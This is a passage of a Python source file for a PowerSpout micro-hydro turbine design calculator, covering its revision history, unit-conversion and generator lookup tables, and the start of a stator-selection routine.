rotor. Premium price unit and 0.9W/rpm on the test bench and 0.77W/rpm for Std. non DC\r\n# Std product have been computed at 1.42 UWW/rpm (Used Water Watt)\r\n# Max effeciency is 54% by this calculator. At 0.77W/rpm output is 1.4259 UWW/rpm. At 0.9W/rpm output is 1.6666UWW/rpm.\r\n# So use 1.42 and 1.65 for Std and HP versions. This causes number of PS required to update correctly.\r\n# Changed safety warnings codes 81 82 to refer to ME series powerspout\r\n# Changed safety warnings code 51 to not refer to the HE powerspout\r\n# Add cfs. 28.316846592 lps for 1 cfs\r\n# Added code to determine SD stator code\r\n# Reduced min penstock length to be just 3m\r\n# Added recognition of system environment. If on Linux then adds html codes to string results to tabultae SD codes in monospace font and also to\r\n# add a single non printing space character to the end of the warning fields to mask a web host issue with not accepting a blank string and displaying\r\n# a previous value instead\r\n# Added SD code generator\r\n\r\n\r\n# R08 Removed case sensitivity for units\r\n\r\n# R07 Added units psi and kpa for entering water head.\r\n\r\n# R06 Correction to unit conversion. US gpm and not Imperial English gpm\r\n\r\n# R05 Change to number of PowerSpouts recomended to be limited to a maximum of 10\r\n\r\n# R04 Minor update to the unit conversion dictionary. Inclution of th.\r\n# Updates and corrections to error messages\r\n# Fixup so can include AWG in the AWG cable size entry box.\r\n\r\n# R03 More fixings for web site implementation. Changing to a ME, GE is required to cause a resetting of the design load voltage. Removed\r\n# the persitency requirement that was needed beforehand to make this work.\r\n# site.PStype = siteGUI.GUI_PStype assertion in process_here() fixed wrongful calculation of min cable size when changing PS type or water\r\n\r\n# R02 Fixings for web site implementation. Removal of all terminal output and redirected to a new varible siteGUI.diag for reporting back to caller\r\n# Assertion of float for where plain integers are divided etc. 1/3 become float91/3) etc!!! for PY2.4 compatability\r\n\r\n# R01 First release for the web site. Has new lookup table for PS efficiency curve\r\n\r\n# Pa05 Updated bulk resistance for copper, aluminium and steel\r\n# Corrected jet sizing limits for determining how many PS to use at low heads\r\n# Reduced min acceptable head down to 3m\r\n\r\n# Pa05 Jet size calc fix attempt and pipe calcs use available lps not fixed 100 as upper limit to prevent over lps reporting for used lps!\r\n# Change cable warning to show if within 50% of cable rating, not 20% as before\r\n\r\n# Pa04 Introduced alarm report of how variable steel is for resistance\r\n# Fixed use of int to include round function for display of results. Caused calculation itterations to reduce input values!\r\n# Cable length, penstock diameter, penstock length\r\n# Reduced W/rpm for SD from 0.65 to 0.6\r\n# Introduced use of dictionary to hold material resistances\r\n# Introduced alarm codes in a list so each alarm report is shown only once.\r\n# Changing PS type now updates load voltages if select ME, GE or HE type.\r\n# Changing cable type maintains same wire loss by selecting new cable size\r\n\r\n# Pa3 Voltage limits now stored in a dictionary\r\n# Seperated out itterator counters so can see which iterator gets lost\r\n# Correction to penstock size slope cal for newton R approximation\r\n# Major rewrite of electrical wire loss to reduce water flow when cable limits power transfer. Applies to ME, GE and HE.\r\n\r\n# Pa2 Introduced units into inputs using strings and conversion values\r\n# Alarm reporting for GUI as simple concatenated string. (Ended up with multiple reporting sometimes.)\r\n\r\n# Pa1 First maths library version that uses a seperate GUI caller\r\n\r\n\r\n# These varibles are to keep track of instalation parameters. All are in SI\r\n\r\nclass siteGUI: # User input or Report or both? Description\r\n GUI_initial_data = int(1) # Once turns a 0 then unlock rest of inputs\r\n GUI_process_option = str(\r\n 'basicdata') # U Contents is one of.... 'basicdata' 'penstock' 'penstockeff' 'pendiaLk' 'pendia' 'SetLkNumPSandJ' 'SetNumPSandJ' 'SetCableEff' 'NewCable' 'NewCableV' 'NewCableMaterial' 'NewCablesize' 'NewCableAWG' 'NewCablesize' 'CableLock'\r\n GUI_meas_sys = str('Metric') # U Units system to use 'Metric' or Imperial'\r\n GUI_PStype = str('BE') # U 'BE' 'ME100' 'ME120' 'ME140' 'ME250' 'GE400'\r\n GUI_avail_Wflow = str('') # U either lps or gpm float. eg '12 lps' or '23 gpm'\r\n GUI_Wflow = str('') # R either lps or gpm float. eg '12 lps' or '23 gpm'\r\n GUI_penstock_head = str('') # UR either metres or feet float eg '34 m' or '100 ft'\r\n GUI_eff_head = str('') # R This is the actual head at the turbine with water flow eg '34 m' or '100 ft'\r\n GUI_penstock_len = str('') # UR either metres or feet float eg '34 m' or '100 ft'\r\n GUI_penstock_eff_target = str('') # U a string of int %. eg '89 %'\r\n GUI_penstock_dia = str('') # UR either mm or inch float eg '34 mm' or '1.2 in'\r\n GUI_PenSLkd = int(0) # UR A 0 or a 1. if 1 then penstock size is locked\r\n GUI_Num_PS = int(1) # UR Number of turbines. Ranges from 1 to 10\r\n GUI_turbine_nozzles = int(1) # UR Number of nozzles on each turbine. Either 1 or 2\r\n GUI_Num_PS_Lkd = int(0) # UR A 0 or a 1. if 1 then number of PowerSpouts and Jets is locked\r\n GUI_jet_dia = str('') # R either mm or inch float eg '34 mm' or '1.2 in'\r\n GUI_actual_pipe_eff = str('') # R % float eg '88 %'\r\n GUI_Opr_rpm = str('') # R eg '589 rpm'\r\n GUI_PS_pwr_ea = str('') # R eg '156 W'\r\n GUI_Actual_turbine_electric_pwr = str('') # R eg '2562 W'\r\n\r\n GUI_cable_eff_target = str('') # U a string of int %. eg '89 %'\r\n GUI_cable_len = str('') # UR either metres or feet float eg '34 m' or '100 ft'\r\n GUI_Dload_V = str('') # UR a united int string eg '56 V'\r\n GUI_Aload_V = str('') # R a united int string eg '56 V'\r\n\r\n GUI_LockCable = int(0) # UR A 0 or a 1. if 1 then cable size is locked\r\n GUI_cable_material = str('') # U 'Copper', 'Aluminium' or 'Steel'\r\n GUI_cable_size = str('') # UR A 3 decimal place number or sqr mm eg '2.256'\r\n GUI_cable_AWG = str('') # UR AWG. eg '0000' '0' '13'\r\n GUI_cable_mm_AWG = str('mm') # Just needs to be set for maths routine to know if are in mm or AWG mode\r\n\r\n GUI_cable_mm_title = str('') # R Title for cables sqr mm size\r\n GUI_cable_AWG_title = str('') # R Title for cables AWG size\r\n GUI_cable_dia_mm_sld = str('') # R eg '2.23 mm'\r\n GUI_cable_dia_mm_str = str('') # R eg '2.23 mm'\r\n GUI_cable_dia_in_sld = str('') # R eg '0.213 in'\r\n GUI_cable_dia_in_str = str('') # R eg '0.213 in'\r\n\r\n GUI_cable_amps = str('') # R eg '34.3 A'\r\n GUI_actual_cable_eff = str('') # R eg '87 %'\r\n GUI_cable_Vgen = str('') # R eg '115 V'\r\n GUI_Load_pwr = str('') # R eg '895 W'\r\n\r\n GUI_design_notes_hydro = str('') # An empty string for design comments for the end user to read and understand\r\n GUI_design_notes_elec = str('') # An empty string for design comments for the end user to read and understand\r\n GUI_design_notes_safety = str('') # An empty string for design comments for the end user to read and understand\r\n\r\n GUI_revision = str('R17') # Version number for this maths routine for GUI to display\r\n GUI_diag = str('') # All diagn ostics go to here\r\n GUIcr = '
' # Carriage return with a line feed character\r\n GUI_diag_cr = str('\\r\\n') # or '
' # Carriage return with a line feed character\r\n\r\n\r\nclass site:\r\n PStype = str('')\r\n avail_lps = float(0) # litres per second\r\n lps = float(0) # litres per second\r\n penstock_head = float(0) # metres\r\n penstock_len = float(5) # metres\r\n penstock_dia = float(0.08) # metres\r\n penstock_eff_target = 0.90 # ratio of water power to be delivered to turbine\r\n penstock_material = 'DrawnTube'\r\n penstock_flow_roughness = 0.00015 # in cm.\r\n penstock_Kf = float(0) # Head Loss = q K for piping fittings in penstock\r\n Kf_turbine = float(2) # Head Loss = q K for piping fittings in turbine\r\n penstock_iterations = 0 # Counts number of times penstock calc done to solve penstock diameter\r\n penstock_max_pipe_iterations = 0\r\n jet_iterations = 0 # Counts number of times jet iteration done to solve jet size limit\r\n max_jets = 2 # Number of jets current turbine type supports\r\n UWW_iterations = 0 # Counts number of times WaterWatts iteration done to solve rpm watts limitation\r\n runaway_rpm_limit = 3000 # Max safe speed for turbine\r\n dis_coeff = 0.83 # Area of jet is actually smaller than area of nozzle exit.\r\n\r\n turbine_eff = 0.7 # Efficiency ratio for pelton turbine Gets updated by calcs once water power is known\r\n SD_eff = 0.7 # Efficiency ratio for Smart Drive generator\r\n turbine_dia = 0.23 # Diameter for the pelton wheel in metres\r\n eps = 1.25e-5 # Used in pipe loss calc\r\n turbine_spd_jet = float(0.45) # Speed of pelton buckets relative to jet velocity\r\n Num_PS = 1 # Number of turbines\r\n turbine_nozzles = 1 # Number of nozzles on each turbine\r\n\r\n One_jet_water_W_lim = 800 # Water power limit for one jet to get expected warrenteed bearing life\r\n One_jet_dia_lim = 0.02 # Biggest jet diameter in m that works for a turbine\r\n Two_jet_dia_lim = 0.025 # Biggest jet size to use in a 2 jet turbine. Only applies when very low head\r\n pelton_Wuse_rpm = 1.42 # Watts of water jet power required for the PS\r\n ideal_jet_sqr_mm = 0 # Ideal total sqr mm jet size to use for this penstock, head, lps combination\r\n UWWatts_per_SD = 0 # Used Water Watts per PS turbine. Used to figure out correct efficiency levels\r\n\r\n SDs2show = int(20) # How many SD codes to list to user\r\n\r\n # This table maps out the effeciency degradation at low power levels.\r\n # Uses water jet power for x coordinates and y coordinates are put into SD_eff and turbine_eff\r\n # Software uses straight line interpolation between points and level above top point\r\n eff = {0: 0, 25: 30, 50: 36, 100: 40, 200: 45, 300: 47, 600: 49.5, 1000: 51, 1600: 52, 2500: 54, 3500: 53, 6000: 52}\r\n lpseff = {0: 100, 1000000: 100}\r\n\r\n rectifierVdrop = float(0) # Voltage drop for rectifier losses\r\n cable_len = float(20)\r\n cable_voltage = float(48)\r\n design_cable_voltage = float(48)\r\n cable_eff_target = 0.90 # Proportion of electricity to be delivered to the power shed\r\n cable_material = 'Copper'\r\n cableR = 1\r\n cableR_req = 1\r\n cable_Vgen = 0\r\n\r\n viscosity = 1.32E-03 # kg/m-sec\r\n density = 999.4 # kg/m^3\r\n gravity = 9.81 # m/sec^2\r\n gpm = 448.9\r\n mmm_lps = 1000.00 # lps/m^3/sec\r\n meter = 0.3048 # m/ft\r\n mm = 25.4 # mm/in\r\n\r\n design_Chk = 0 # Flag that need to check the design with EcoInnovation\r\n Actual_turbine_electric_pwr = float(0)\r\n Load_pwr = float(0)\r\n jet_dia = float(0.01)\r\n cable_size = float(1)\r\n cable_gauge = float(1)\r\n cable_AWGn = int(0)\r\n cable_AWG = \"0\"\r\n cableLock = int(0)\r\n itteratorCount = float(0)\r\n\r\n initial_data = int(1)\r\n lastcable_mm_AWG = str('mm')\r\n OC_Vratio = float(3.5) # This is the no load to load voltage ratio for a PS turbine\r\n PLT_OC_Vratio = float(3.5) # This is the no load to load voltage ratio for a PLT turbine\r\n BE_damageV = float(400) # Output voltage to damage a PS BE\r\n PLT_damageV = float(400) # Output voltage to damage a PLT\r\n ELV_limit = float(120) # ELV unregistered electrical worker limit\r\n alarms = [] # Empty list for alarms to be .append( )ed to as alarm numbers. Valid entries are ints.\r\n # Final running of prog may give a list like [ 2, 5, 10 ]\r\n\r\n # Dictionary of conversion coeffecients. Enter all units here as lower case. All indexing is done via .lower() string function\r\n convert = {'lps-lps': 1, 'gpm-lps': 15.87, 'lps-gpm': 0.06301, 'gpm-gpm': 1, 'm-m': 1, 'mm-m': 1000, \\\r\n 'l/min-l/min': 1, 'lps-l/min': 60, 'l/min-lps': 1 / 60, \\\r\n 'l/day-l/day': 1, 'lps-l/day': 60 * 60 * 24, 'l/day-lps': 1 / (60 * 60 * 24),\r\n 'g/day-lps': 1 / (60 * 60 * 24 * 0.2645), \\\r\n 'ft-m': 3.28083989501312, 'in-m': 39.3700787401575, 'm-cm': 0.01, 'mm-cm': 10,\r\n 'ft-cm': 0.0328083989501312, \\\r\n 'm-psi': 0.703, 'm-kpa': .102, 'm-bar': 10.197, \\\r\n 'in-cm': 0.393700787401575, 'm-mm': 0.001, 'mm-mm': 1, 'ft-mm': 0.00328083989501312,\r\n 'in-mm': 0.0393700787401575, \\\r\n 'm-mile': 1609.344, 'mm-mile': 1609344, 'ft-mile': 5280, 'in-mile': 63360, 'm-ft': 0.3048,\r\n 'mm-ft': 304.8, \\\r\n 'ft-ft': 1, 'in-ft': 12, 'm-in': 0.0254, 'mm-in': 25.4, 'ft-in': 0.0833333333333333, 'in-in': 1,\r\n 'm-th': 0.0000254, \\\r\n 'mm-th': 0.0254, 'ft-th': 8.33333333333333E-05, 'in-th': 0.001, 'm-km': 1000, 'awg-awg': 1, \\\r\n 'lps-cfs': 28.316846592, 'cfs-lps': 0.0, '%-%': 1, \\\r\n 'lps-cumecs': 1000, 'mps-mps': 1, 'fps-mps': 3.28084 \\\r\n }\r\n\r\n Vlimit = {'BE': 400, 'ME100': 96, 'ME120': 115, 'ME140': 135, 'ME250': 240, 'GE400': 380, \\\r\n 'BE HP': 400, 'ME100 HP': 96, 'ME120 HP': 115, 'ME140 HP': 135, 'ME250 HP': 240, 'GE400 HP': 380, \\\r\n 'PLT': 400, 'PLT HP': 400, 'TRG': 400, 'TRG HP': 400} # Max operating voltages for each PS type\r\n\r\n material = {'Copper': 1.78e-8, 'Aluminium': 3.21e-8, 'Steel': 11.78e-8}\r\n # Reference ohms per metre for a block of metal for cable amp carring ability calcs at 20deg C with typical wire grade material\r\n # Steel is from http://www.kencove.com/fence/100_Fence+Construction_resource.php (Electric fence info)\r\n PSeff = float(0)\r\n MaxPS = 20\r\n\r\n SD_types = ('100--S', '100--D', '80--S', '80--D', '60--S', '60--D', '60dc--S', '60dc--D')\r\n SD_types += ('100-HP-S', '100-HP-D', '80-HP-S', '80-HP-D', '60-HP-S', '60-HP-D', '60dc-HP-S', '60dc-HP-D',)\r\n SD_types += (\r\n '60R85-HP-S', '60R85-HP-D', '60R90-HP-S', '60R90-HP-D', '60R100-HP-S', '60R100-HP-D', '60R110-HP-S',\r\n '60R110-HP-D',\r\n '60R120-HP-S', '60R120-HP-D',)\r\n\r\n SD_finger_sets = {'100--S': 1.400000E+01, '100--D': 1.400000E+01, '80--S': 1.400000E+01, '80--D': 1.400000E+01,\r\n '60--S': 1.400000E+01, '60--D': 1.400000E+01, '60dc--S': 1.200000E+01,\r\n '60dc--D': 1.200000E+01} # How many fingers on stator for each phase\r\n SD_mV4rpm4set = {'100--S': 1.900000E+01, '100--D': 1.085714E+01, '80--S': 4.992857E+01, '80--D': 2.842857E+01,\r\n '60--S': 7.271429E+01, '60--D': 4.142857E+01, '60dc--S': 8.347987E+01,\r\n '60dc--D': 4.755371E+01} # Open circuit volts per rpm per finger\r\n Stator_mV4rpm4set = {'100--S': 1.900000E+01, '100--D': 1.085714E+01, '80--S': 4.992857E+01, '80--D': 2.842857E+01,\r\n '60--S': 7.271429E+01, '60--D': 4.142857E+01, '60dc--S': 9.333333E+01,\r\n '60dc--D': 5.316667E+01} # Stator nominal volts/fset/rpm for workshop selection use\r\n SD_Max_e_mW4rpm4setA = {'100--S': 0.000000E+00, '100--D': 0.000000E+00, '80--S': 0.000000E+00,\r\n '80--D': 0.000000E+00, '60--S': 0.000000E+00, '60--D': 0.000000E+00,\r\n '60dc--S': 0.000000E+00,\r\n '60dc--D': 0.000000E+00} # Maximum milli-watts per rpm per set 3 fingers. (Sqr factor)\r\n SD_Max_e_mW4rpm4setB = {'100--S': 0.000000E+00, '100--D': 0.000000E+00, '80--S': 0.000000E+00,\r\n '80--D': 0.000000E+00, '60--S': 0.000000E+00, '60--D': 0.000000E+00,\r\n '60dc--S': 0.000000E+00,\r\n '60dc--D': 0.000000E+00} # Maximum milli-watts per rpm per set 3 fingers. (Linear factor)\r\n SD_Max_e_mW4rpm4setC = {'100--S': 5.357143E+01, '100--D': 5.357143E+01, '80--S': 5.357143E+01,\r\n '80--D': 5.357143E+01, '60--S': 5.357143E+01, '60--D': 5.357143E+01,\r\n '60dc--S': 6.250000E+01,\r\n '60dc--D': 6.250000E+01} # Maximum milli-watts per rpm per set 3 fingers. (Constant)\r\n Bld_ranking = {'100--S': 1.500000E+00, '100--D': 3.000000E+00, '80--S': 1.100000E+00, '80--D': 2.200000E+00,\r\n '60--S': 1.000000E+00, '60--D': 2.000000E+00, '60dc--S': 1.200000E+00,\r\n '60dc--D': 2.400000E+00} # Rating of build effort and value of generator value to EcoInnovation\r\n\r\n SD_finger_sets.update(\r\n {'100-HP-S': 1.400000E+01, '100-HP-D': 1.400000E+01, '80-HP-S': 1.400000E+01, '80-HP-D': 1.400000E+01,\r\n '60-HP-S': 1.400000E+01, '60-HP-D': 1.400000E+01, '60dc-HP-S': 1.200000E+01,\r\n '60dc-HP-D': 1.200000E+01}) # How many fingers on stator for each phase\r\n SD_mV4rpm4set.update(\r\n {'100-HP-S': 2.124265E+01, '100-HP-D': 1.213865E+01, '80-HP-S': 5.582184E+01, '80-HP-D': 3.178411E+01,\r\n '60-HP-S': 8.129704E+01, '60-HP-D': 4.631855E+01, '60dc-HP-S': 9.333333E+01,\r\n '60dc-HP-D': 5.316667E+01}) # Open circuit volts per rpm per finger\r\n Stator_mV4rpm4set.update(\r\n {'100-HP-S': 1.900000E+01, '100-HP-D': 1.085714E+01, '80-HP-S': 4.992857E+01, '80-HP-D': 2.842857E+01,\r\n '60-HP-S': 7.271429E+01, '60-HP-D': 4.142857E+01, '60dc-HP-S': 9.333333E+01,\r\n '60dc-HP-D': 5.316667E+01}) # Stator nominal volts/fset/rpm for workshop selection use\r\n SD_Max_e_mW4rpm4setA.update(\r\n {'100-HP-S': 0.000000E+00, '100-HP-D': 0.000000E+00, '80-HP-S': 0.000000E+00, '80-HP-D': 0.000000E+00,\r\n '60-HP-S': 0.000000E+00, '60-HP-D': 0.000000E+00, '60dc-HP-S': 0.000000E+00,\r\n '60dc-HP-D': 0.000000E+00}) # Maximum milli-watts per rpm per set 3 fingers. (Sqr factor)\r\n SD_Max_e_mW4rpm4setB.update(\r\n {'100-HP-S': 0.000000E+00, '100-HP-D': 0.000000E+00, '80-HP-S': 0.000000E+00, '80-HP-D': 0.000000E+00,\r\n '60-HP-S': 0.000000E+00, '60-HP-D': 0.000000E+00, '60dc-HP-S': 0.000000E+00,\r\n '60dc-HP-D': 0.000000E+00}) # Maximum milli-watts per rpm per set 3 fingers. (Linear factor)\r\n SD_Max_e_mW4rpm4setC.update(\r\n {'100-HP-S': 7.142857E+01, '100-HP-D': 7.142857E+01, '80-HP-S': 7.142857E+01, '80-HP-D': 7.142857E+01,\r\n '60-HP-S': 7.142857E+01, '60-HP-D': 7.142857E+01, '60dc-HP-S': 8.333333E+01,\r\n '60dc-HP-D': 8.333333E+01}) # Maximum milli-watts per rpm per set 3 fingers. (Constant)\r\n Bld_ranking.update(\r\n {'100-HP-S': 3.000000E+00, '100-HP-D': 3.500000E+00, '80-HP-S': 3.000000E+00, '80-HP-D': 3.500000E+00,\r\n '60-HP-S': 3.000000E+00, '60-HP-D': 3.500000E+00, '60dc-HP-S': 1.600000E+00,\r\n '60dc-HP-D': 3.200000E+00}) # Rating of build effort and value of generator value to EcoInnovation\r\n\r\n SD_finger_sets.update(\r\n {'60R85-HP-S': 1.200000E+01, '60R85-HP-D': 1.200000E+01, '60R90-HP-S': 1.200000E+01, '60R90-HP-D': 1.200000E+01,\r\n '60R100-HP-S': 1.200000E+01, '60R100-HP-D': 1.200000E+01, '60R110-HP-S': 1.200000E+01,\r\n '60R110-HP-D': 1.200000E+01, '60R120-HP-S': 1.200000E+01,\r\n '60R120-HP-D': 1.200000E+01}) # How many fingers on stator for each phase\r\n SD_mV4rpm4set.update(\r\n {'60R85-HP-S': 4.033333E+01, '60R85-HP-D': 2.300000E+01, '60R90-HP-S': 4.316667E+01, '60R90-HP-D': 2.458333E+01,\r\n '60R100-HP-S': 4.791667E+01, '60R100-HP-D': 2.733333E+01, '60R110-HP-S': 5.275000E+01,\r\n '60R110-HP-D': 3.008333E+01, '60R120-HP-S': 5.750000E+01,\r\n '60R120-HP-D': 3.275000E+01}) # Open circuit volts per rpm per finger\r\n Stator_mV4rpm4set.update(\r\n {'60R85-HP-S': 4.033333E+01, '60R85-HP-D': 2.300000E+01, '60R90-HP-S': 4.316667E+01, '60R90-HP-D': 2.458333E+01,\r\n '60R100-HP-S': 4.791667E+01, '60R100-HP-D': 2.733333E+01, '60R110-HP-S': 5.275000E+01,\r\n '60R110-HP-D': 3.008333E+01, '60R120-HP-S': 5.750000E+01,\r\n '60R120-HP-D': 3.275000E+01}) # Stator nominal volts/fset/rpm for workshop selection use\r\n SD_Max_e_mW4rpm4setA.update(\r\n {'60R85-HP-S': 0.000000E+00, '60R85-HP-D': 0.000000E+00, '60R90-HP-S': 0.000000E+00, '60R90-HP-D': 0.000000E+00,\r\n '60R100-HP-S': 0.000000E+00, '60R100-HP-D': 0.000000E+00, '60R110-HP-S': 0.000000E+00,\r\n '60R110-HP-D': 0.000000E+00, '60R120-HP-S': 0.000000E+00,\r\n '60R120-HP-D': 0.000000E+00}) # Maximum milli-watts per rpm per set 3 fingers. (Sqr factor)\r\n SD_Max_e_mW4rpm4setB.update(\r\n {'60R85-HP-S': 0.000000E+00, '60R85-HP-D': 0.000000E+00, '60R90-HP-S': 0.000000E+00, '60R90-HP-D': 0.000000E+00,\r\n '60R100-HP-S': 0.000000E+00, '60R100-HP-D': 0.000000E+00, '60R110-HP-S': 0.000000E+00,\r\n '60R110-HP-D': 0.000000E+00, '60R120-HP-S': 0.000000E+00,\r\n '60R120-HP-D': 0.000000E+00}) # Maximum milli-watts per rpm per set 3 fingers. (Linear factor)\r\n SD_Max_e_mW4rpm4setC.update(\r\n {'60R85-HP-S': 8.333333E+01, '60R85-HP-D': 8.333333E+01, '60R90-HP-S': 8.333333E+01, '60R90-HP-D': 8.333333E+01,\r\n '60R100-HP-S': 8.333333E+01, '60R100-HP-D': 8.333333E+01, '60R110-HP-S': 8.333333E+01,\r\n '60R110-HP-D': 8.333333E+01, '60R120-HP-S': 8.333333E+01,\r\n '60R120-HP-D': 8.333333E+01}) # Maximum milli-watts per rpm per set 3 fingers. (Constant)\r\n Bld_ranking.update(\r\n {'60R85-HP-S': 5.000000E+00, '60R85-HP-D': 5.833333E+00, '60R90-HP-S': 5.050000E+00, '60R90-HP-D': 5.891667E+00,\r\n '60R100-HP-S': 5.100500E+00, '60R100-HP-D': 5.950583E+00, '60R110-HP-S': 5.151505E+00,\r\n '60R110-HP-D': 6.010089E+00, '60R120-HP-S': 5.203020E+00,\r\n '60R120-HP-D': 6.070190E+00}) # Rating of build effort and value of generator value to EcoInnovation\r\n\r\n magic7 = {'60R85-12-S1P-S': 0.5, '60R110-12S-1P-D': 0.5, '60R100-12-S1P-D': 0.5, '60R85-12-S1P-D': 0.5,\r\n '60R85-6S-2P-S': 0.5, '60R110-4S-3P-S': 0.5, '60R110-6S-2P-D': 1, \\\r\n '60R100-3S-4P-S': 0.6, '60R90-3S-4P-S': 0.6, '60R100-4S-3P-D': 0.6, '60R100-2S-6P-S': 0.6,\r\n '60R90-3S-4P-D': 0.6, '60R90-2S-6P-S': 0.6}\r\n\r\n Sscore = {'14-1': 4, '14-2': 3, '14-3': 5, '14-4': 5, '14-5': 5, '14-6': 5, '14-7': 2, \\\r\n '14-8': 5, '14-9': 5, '14-10': 5, '14-11': 5, '14-12': 5, '14-13': 5, '14-14': 1, \\\r\n '12-1': 5, '12-2': 3.5, '12-3': 3, '12-4': 2.5, '12-5': 5, '12-6': 2, '12-7': 5, \\\r\n '12-8': 5, '12-9': 5, '12-10': 5, '12-11': 5, '12-12': 1}\r\n\r\n Pscore = {'14-1': 1, '14-2': 2, '14-3': 5, '14-4': 5, '14-5': 5, '14-6': 5, '14-7': 3, \\\r\n '14-8': 5, '14-9': 5, '14-10': 5, '14-11': 5, '14-12': 5, '14-13': 5, '14-14': 4, \\\r\n '12-1': 1, '12-2': 2, '12-3': 2.5, '12-4': 3, '12-5': 5, '12-6': 3.5, '12-7': 5, \\\r\n '12-8': 5, '12-9': 5, '12-10': 5, '12-11': 5, '12-12': 5}\r\n\r\n SDsearch = str('')\r\n SDdiffConEff = 0.80 # Conversion effeciency of SD after all non load related losses are discounted\r\n\r\n # This is a complex curve to relate Vo/Vl ratio called Vr to normalized output per fingerset per rpm.\r\n # Input power to the SD follows this curve at all given rpms\r\n # The table above has the mW per finger set per rpm for each SD type\r\n # The table above has the Vr above 1 scalar also as MPP is not always at Vr of 2\r\n\r\n pwr4Vr = {-5: -.0001, \\\r\n 0: 0, \\\r\n 1: 0.00001, \\\r\n 1.004341: 0.013055, \\\r\n 1.233832: 0.416688, \\\r\n 1.325629: 0.567330, \\\r\n 1.371527: 0.639718, \\\r\n 1.417425: 0.705019, \\\r\n 1.463324: 0.762368, \\\r\n 1.509222: 0.812648, \\\r\n 1.555120: 0.855258, \\\r\n 1.601018: 0.891995, \\\r\n 1.646917: 0.922566, \\\r\n 1.692815: 0.946355, \\\r\n 1.738713: 0.964218, \\\r\n 1.784611: 0.977666, \\\r\n 1.830510: 0.987121, \\\r\n 1.876408: 0.993923, \\\r\n 1.922306: 0.998037, \\\r\n 2.000000: 1.000000}\r\n\r\n SDcloseness = 12 # Percentage range for SD choice to match requirement.\r\n Aspace = ' '\r\n monospace_on = ''\r\n monospace_off = ''\r\n\r\n tracer = ''\r\n\r\n\r\ndef VIpacked(n): # This equates number of packers in a ratio of Volt or Current output relative to 0 packers\r\n return (-0.00025224 * n * n - 0.05304074 * n + 1)\r\n\r\n\r\ndef PackersPref(n): # This provides a multiplier for the preference rating based on the number of packers\r\n if n == 0: return (1)\r\n return (1.25)\r\n\r\n\r\ndef loadingPref(portion): # This provides a multiplier for the preference rating based on normalised loading per finger\r\n # portion is the per finger load as a fraction of 1. 1 == max possible power\r\n if portion > 0.8:\r\n return ((portion - 0.8) * 1) + 1\r\n return ((0.8 - portion) * 1) + 1\r\n\r\n\r\ndef Vpref(SD_volt, wanted_volt):\r\n return (1 + abs(1 - SD_volt / wanted_volt) * 40)\r\n\r\n\r\ndef computeSDtype():\r\n # return\r\n\r\n # have site class varibles.\r\n # Num_PS and \"site.Actual_turbine_electric_pwr = site.jetpower * site.turbine_eff * site.SD_eff\" Also site.rpm\r\n\r\n ShaftPwr4SD = site.jetpower * .7 / site.Num_PS # Use a nominal efficiency for pelton wheel at all power levels.\r\n PeltonPwr = ShaftPwr4SD\r\n # Take off lost power for bearing friction\r\n ShaftPwr4SD = ShaftPwr4SD - 0.25 * pi * 2 * site.rpm / 60 # 0.25Nm torque to run bearing with seals etc\r\n # Take off lost power for windage\r\n ShaftPwr4SD = ShaftPwr4SD - site.rpm * site.rpm * 0.00000005 * pi * 2 * site.rpm / 60\r\n # ShaftPwr4SD is the mechanical power that gets used for the making of electricity. Some is lost to magnetics hysteresis loss\r\n # and also to copper loss.\r\n SDwindBearingW = PeltonPwr - ShaftPwr4SD\r\n\r\n if sys.platform[:5] == 'linux':\r\n site.monospace_on = ''\r\n site.monospace_off = ''\r\n site.Aspace = ' '\r\n\r\n # Make a list of the SD versions including a finger set count that have acceptable w/rpm/fset\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + str(site.rpm) + 'rpm at ' + str( ShaftPwr4SD ) + 'W convertable shaft power' + siteGUI.GUI_diag_cr + siteGUI.GUI_diag_cr\r\n SD_size_list_ptr = 0\r\n SD_size_listA = {}\r\n SD_size_listB = {}\r\n SD_size_listC = {}\r\n SD_size_listD = {}\r\n SD_size_listE = {}\r\n SD_size_listF = {}\r\n SD_size_listG = {}\r\n\r\n site.SDsearch = 'Have ' + str(round(site.jetpower / site.Num_PS)) + 'W power in water jet' + siteGUI.GUI_diag_cr\r\n site.SDsearch = site.SDsearch + 'Making ' + str(round(PeltonPwr)) + 'W shaft power ' + siteGUI.GUI_diag_cr\r\n site.SDsearch = site.SDsearch + 'Losing ' + str(\r\n round(SDwindBearingW)) + 'W in bearings and windage' + siteGUI.GUI_diag_cr\r\n site.SDsearch = site.SDsearch + 'Leaving ' + str(round(ShaftPwr4SD)) + 'W of magnetic power' + siteGUI.GUI_diag_cr\r\n\r\n site.SDsearch = site.SDsearch + 'Searching through all SD options with enough fingers for this power level' + siteGUI.GUI_diag_cr\r\n for SDchk in site.SD_types: # Iterates over { '100--S','100--D','80--S','80--D','60--S','60--D','60dc--S','60dc--D','60dc-HPS','60dc-HP-D'}\r\n if (not 'HP' in site.PStype) and ('HP' in SDchk):\r\n continue # If user has not selected an HP product skip searching and HP rotors for suitability\r\n\r\n for packers in range(0, 10): # Itterate through all the packer sizes\r\n # print ( \"List size of \", SD_size_list_ptr, \" and SDchk is \", SDchk )\r\n MaxWmake = (VIpacked(packers)) * (VIpacked(packers)) \\\r\n * site.SD_Max_e_mW4rpm4setA[SDchk] * site.rpm ** 2.0 \\\r\n + site.SD_Max_e_mW4rpm4setB[SDchk] * site.rpm \\\r\n + site.SD_Max_e_mW4rpm4setC[\r\n SDchk] # MaxWmake = electrical watts out at MPP of this SD in mW per finger set\r\n\r\n MaxWuse = (VIpacked(packers)) * (VIpacked(\r\n packers)) * MaxWmake / site.SDdiffConEff # The shaft power is greater cause you have the conversion efficiency loss to scale up for\r\n MaxWuse = (VIpacked(packers)) * (VIpacked(\r\n packers)) * MaxWuse + 0.005 * site.rpm ** 0.715 # / float(site.SD_finger_sets[ SDchk ]) * float(site.SD_magnetic_loss_scalar[SDchk]) / 1000 # Add mW for hysteresis drag for a finger set\r\n\r\n # BestWmake = (VIpacked(packers))* (VIpacked(packers))* site.SD_eff_e_mW4rpm4setA[SDchk] * site.rpm**2 + site.SD_eff_e_mW4rpm4setB[SDchk] * site.rpm + site.SD_eff_e_mW4rpm4setC[SDchk] # BestWuse = electrical watts out at best effeciency point of this SD in mW per finger set\r\n # site.SDsearch = site.SDsearch + str(BestWmake) + 'mW e BestWmake '+ siteGUI.GUI_diag_cr\r\n # BestWuse = BestWmake / site.SDdiffConEff # The shaft power is greater cause you have the conversion efficiency loss to scale up for\r\n # BestWuse = BestWuse + (VIpacked(packers))* (VIpacked(packers))* 0.005 * 